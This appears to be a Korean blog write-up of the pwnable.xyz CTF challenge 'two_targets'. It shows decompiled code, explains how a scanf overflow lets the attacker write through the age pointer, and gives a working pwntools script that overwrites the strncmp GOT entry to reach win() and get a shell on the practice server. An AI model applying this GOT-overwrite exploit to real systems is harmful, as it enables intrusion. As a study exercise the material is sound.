본문 바로가기

CTF/Pwnable.xyz

Pwnable.xyz pwnable_two_target Write up

got_overwrite 문제이다.

나름 재밌었던 문제였던거 같기도하고,

일단 IDA로 까보자~

 

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int index_input; // eax
  char name; // [rsp+10h] [rbp-40h]
  __int64 nationality; // [rsp+30h] [rbp-20h]
  __int64 age; // [rsp+40h] [rbp-10h]
  unsigned __int64 v7; // [rsp+48h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  setup(argc, argv, envp);
  memset(&name, 0, 0x38uLL);                    // name reset // gdb로 보면 스택을 그냥 쫙 초기화시킴 // main+45
  while ( 1 )
  {
    while ( 1 )
    {
      print_menu();                             // 메뉴 출력
      index_input = read_int32();               // index input // main+55
      if ( index_input != 2 )
        break;
      printf("nationality: ");                  // 2. Change nationality. / main+151
      __isoc99_scanf("%24s", &nationality);
    }
    if ( index_input > 2 )
    {
      if ( index_input == 3 )
      {
        printf("age: ");                        // 3. Change age. // main+210
        __isoc99_scanf("%d", age);              // vuln(GOT Overwrite)
                                                // 변수를 사용할떄 & 이거 안붙이면 안에 들어있는 메모리주소에 들어감
                                                // -> segmentation fault == 쓰레기값 들어있음
      }
      else if ( index_input == 4 )
      {
        if ( auth(&name) )                      // 4. Get shell.
                                                // vuln(reverse)?
          win();
      }
      else                                      // else
      {
LABEL_14:
        puts("Invalid");
      }
    }
    else
    {
      if ( index_input != 1 )
        goto LABEL_14;
      printf("name: ");                         // 1. Change name.
      __isoc99_scanf("%32s", &name);
    }
  }
}

일단 딱봐도 age에서 터지는것을 알수있다.

전에 포스팅한 문제중에 저거와 같은 유형을 볼수 있었는데 여기서 적용하여 다시푼 느낌이다.

일단 nationality 에서 24바이트나 받아주고있다 원래 16바이트 받아줘야되는데 24바이트를 받음으로써 age에 8바이트를 덮게된다.

 

즉 오버플로우시켜서 age안에 strncmp got를 넣은다음에 age를 입력하여 win함수로 돌리면 쉘이 따질것이다.

 

from pwn import *

#p = process("./challenge")
p = remote("svc.pwnable.xyz",30031)
binf = ELF("./challenge")

#context.log_level = 'debug'
context.terminal=['tmux', 'splitw', '-h']
#gdb.attach(p)

addr_strncmp_got = binf.got['strncmp']
addr_oneshot = 0x000000000040099c

p.recvuntil("> ")
p.sendline("2")
p.recvuntil(": ")

payload = "A" * 0x10
payload += p64(addr_strncmp_got)
p.send(payload)

p.recvuntil("> ")
p.sendline("3")
p.recvuntil(": ")

#payload = p64(addr_oneshot)
payload = "4196764"
p.sendline(payload)

p.sendline("4")

p.interactive()

age를 저런식으로 넣은것은 정수만 받아주고있기때문에 일부러 정수로 넣어줬음.

 

롸업을 보니 리버싱으로 하는 방법도 존재했음.

근데 나는 리버싱을 잘 못해서 못했음

일단 코드분석한거 보여줌

_BOOL8 __fastcall auth(__int64 name_input)
{
  signed int i; // [rsp+18h] [rbp-38h]
  char s1[8]; // [rsp+20h] [rbp-30h]
  __int64 v4; // [rsp+28h] [rbp-28h]
  __int64 v5; // [rsp+30h] [rbp-20h]
  __int64 v6; // [rsp+38h] [rbp-18h]
  unsigned __int64 v7; // [rsp+48h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  *s1 = 0LL;
  v4 = 0LL;
  v5 = 0LL;
  v6 = 0LL;
  for ( i = 0; i <= 31; ++i )                   // 32번 반복
    s1[i] = ((*(name_input + i) >> 4) | (16 * *(name_input + i))) ^ *(main + i);// >> 시프트 연산
  return strncmp(s1, &s2, 32uLL) == 0;
}

대충 역연산해서 키값 알아낸다음에 푸는거같은데 시피트 연산때문에 힘들어서 못하겠음 솔직히 시피트 들어가있으면 어떻게 해야될지 감이 안옴 -> 리버싱 공부해야딤 ㅠ

'CTF > Pwnable.xyz' 카테고리의 다른 글

Pwnable.xyz pwnable_GrownUpRedist Write up  (0) 2019.11.17
Pwnable.xyz pwnable_xor Write up  (0) 2019.11.17
Pwnable.xyz pwnable_misailgnment Write up  (0) 2019.11.09
Pwnable.xyz pwnable_add Write up  (0) 2019.11.09
Pwnable.xyz pwnable_sub Write up  (0) 2019.11.09